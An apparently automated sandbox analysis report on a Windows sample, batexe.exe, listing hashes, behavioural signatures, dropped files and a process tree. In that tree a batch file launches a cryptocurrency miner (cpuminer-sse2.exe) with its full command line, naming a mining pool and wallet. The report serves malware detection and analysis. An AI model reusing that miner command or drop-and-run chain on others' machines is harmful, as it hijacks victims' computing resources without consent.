Analysis

  • max time kernel
    298s
  • max time network
    293s
  • platform
    windows10-1703_x64
  • resource
    win10-20240214-ja
  • resource tags

    arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    22/02/2024, 03:16

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4648
    • C:\Users\Admin\AppData\Local\Temp\D31F.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\D31F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D31F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3220
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\D5DE.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3884
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5096

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\D31F.tmp\b2e.exe

    Filesize

    16.0MB

    MD5

    5a80831f858541d2813357b3eccfca93

    SHA1

    6a7ee6b37154c4e4bcc1d7a985adf006df4885c1

    SHA256

    de474b47958f0c44df02bca6d471c57803b4921574d80782381007d3c8005a42

    SHA512

    ba82abaf7e8547c56b7dbdb65efe369865e6701a4c9650f2e146826be6c04fb08b9a6b4639d82ec03c410e9971a0f21638a4af8fd6a7f4bc99d369fc82f7cf16

  • C:\Users\Admin\AppData\Local\Temp\D31F.tmp\b2e.exe

    Filesize

    11.8MB

    MD5

    a132b15ca428dd9af883c530355ef778

    SHA1

    bfb8de637f523aa2c1aa2031f5446fae8040e857

    SHA256

    d26d6611457d0ee7bcf19cfb11161a1dc4513e7d54a058441e12068d454507df

    SHA512

    cb12dd3f84aa6947015b295abdf89b65124b9217fb466ecf6441dd139289408adbb78473a007f2b4d215b46aa19df4a1dc566b087acb4b9082e5391010e8f8a0

  • C:\Users\Admin\AppData\Local\Temp\D5DE.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    768KB

    MD5

    7511ee8c66d17030a4f24226caa425c7

    SHA1

    aa5bb6b2306f01ac82133f54ec36ca2491fb1911

    SHA256

    e9ad1acfa96a3be152713809498617dacb74878ed3ac3ed4e5b1455cf1fa5ac5

    SHA512

    4838197b397552aa7c22ca54d27ec420df0629689e111c40068480f5e37879bfbc89c84245ae8b0a6b4a16ee7d75197403153151eccbbe468b252f508e8466ac

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    320KB

    MD5

    59d36bdd941feb6c770ec68a37e8c21b

    SHA1

    1191d1e478164cd720974ea1ad2bc248999a8d45

    SHA256

    d5227dca74d9be12116b359c9d61265b102c0986eb6196e269cc3e3b895c0293

    SHA512

    b1620dd0763f2f7c263ae69c71eba7cba29d89f1bb551356abb7073e4e7013347345c43f2bad3c4733300c5b98feecf2fd91db2a363c9e5dcdd87f170edbe406

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    448KB

    MD5

    8185100383d0fe360c9198e5a883b08d

    SHA1

    ab398c469573f8e84d3cfcef01287a0604d6ab5f

    SHA256

    05ef7288b0d559bf67c3d69c201da9bdcaed0b49ecc538640f7b96c5b82eb538

    SHA512

    24930ef0caa1f2db2ed60f7dfdb832a172cf7747b0a336b051f73c0087a5f2fabff721487cb49cf5a3bc2be5426554b0a3a0e51541b6a4ca735646af24f1404a

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    384KB

    MD5

    4cb3a8d3af58faf78da4dd33a03029db

    SHA1

    5356e4fb04a7047f6fc82a4e071e4803f97a0f3d

    SHA256

    86df790940bd442466ea58a434a31aaaadd1d23a9e9bf5e6fe625ff49049d620

    SHA512

    244237f4a13a7666e9f9592451dbb8bb18ca1f828d66f97e2890fa8f6be690d8890848102a8be253542c9f4b154d9f0e1aeeee5a867c866b78b64f9949f48c89

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    320KB

    MD5

    1ae43cc09627ff82d15527ea2693fd76

    SHA1

    c39ffa1a4b80c29fa1f5caed3e7d091253266c66

    SHA256

    b63980c9d592a6d0d8521f74bd4c6f7cc4ae5f8c3320d2bd63764c56648ac45f

    SHA512

    21945e4e2fad3ee2b2a19d19bbbc1ada832c33a0d3bf499d6ac8f093b39021323ea0f7df3d54167a3456cbaf01ff126a6e6abbe17dd4eb8d5a24ca000888c271

  • \Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    448KB

    MD5

    19a61444b6e2d01755ede80960bca19c

    SHA1

    e0c7222784d3e2b3329ec3280648b17fd60ef209

    SHA256

    13fd488b38f3b75438e9ad0a033df005cd397f3c92f43275714a0a7eb3fb4db8

    SHA512

    bc02c82bdac19f10f3e3a93d3f507bb7838c9255b7cff5af6e3a7f3b471dae9c45c52728c3c23857b3402dd1702cb51a20f225a4da992c26a997c26d86b6b1d9

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    320KB

    MD5

    e63bf5df87e2ea807dc353cc5aa9aab1

    SHA1

    69fc94bbebe878711cb133c3a1affb80c0bdecff

    SHA256

    2c9d6315f90367b959d3c32badd99bbc03eb808e4a46db72ccf2e81788b41533

    SHA512

    70f2b2a8a4c8ab23d81266cd23b75c27ced29a1eab8c80d95c57b595b10254b7229cc03b637716edbfad2a83827f2c557847b98d1de80256beec05c9512ee4bd

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    192KB

    MD5

    62069650d62f76a4cdf0e81172d99993

    SHA1

    3b20ec5b4a4320ee15b0f7b9715a9ab90f68346e

    SHA256

    779a5590c667d9a704b79e159259c0646737394fd66a9c0b12d13f9445ca091c

    SHA512

    ae1954a84fb7543465e77a4cd5cc1bdeee0cf848592958633e6c51702b42131daae64c302d5c9537c59a9b3ba9498e5bf913d1f6f757ccdb8c4183b33224852b

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    256KB

    MD5

    eca0c37eee65c31b869788d5d0bf00cd

    SHA1

    33a5c0cd2f0a7296a5c0169699ed8e065b57e5e8

    SHA256

    1d2b7bd4ddd99d627d5111252baadf028dc9910cf414892867502e5951de962e

    SHA512

    5f302da7772fca0a6d03ffd8732850f526acf5fcc33e189d2d906a33101454d970d5cca2f829a006d15c4a857341d72c7876cb2e7af84ada4f158695aba5a4dc

  • memory/3220-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3220-4-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4648-6-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/5096-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-42-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/5096-43-0x0000000069FA0000-0x000000006A038000-memory.dmp

    Filesize

    608KB

  • memory/5096-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

    Filesize

    24.7MB

  • memory/5096-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/5096-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/5096-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB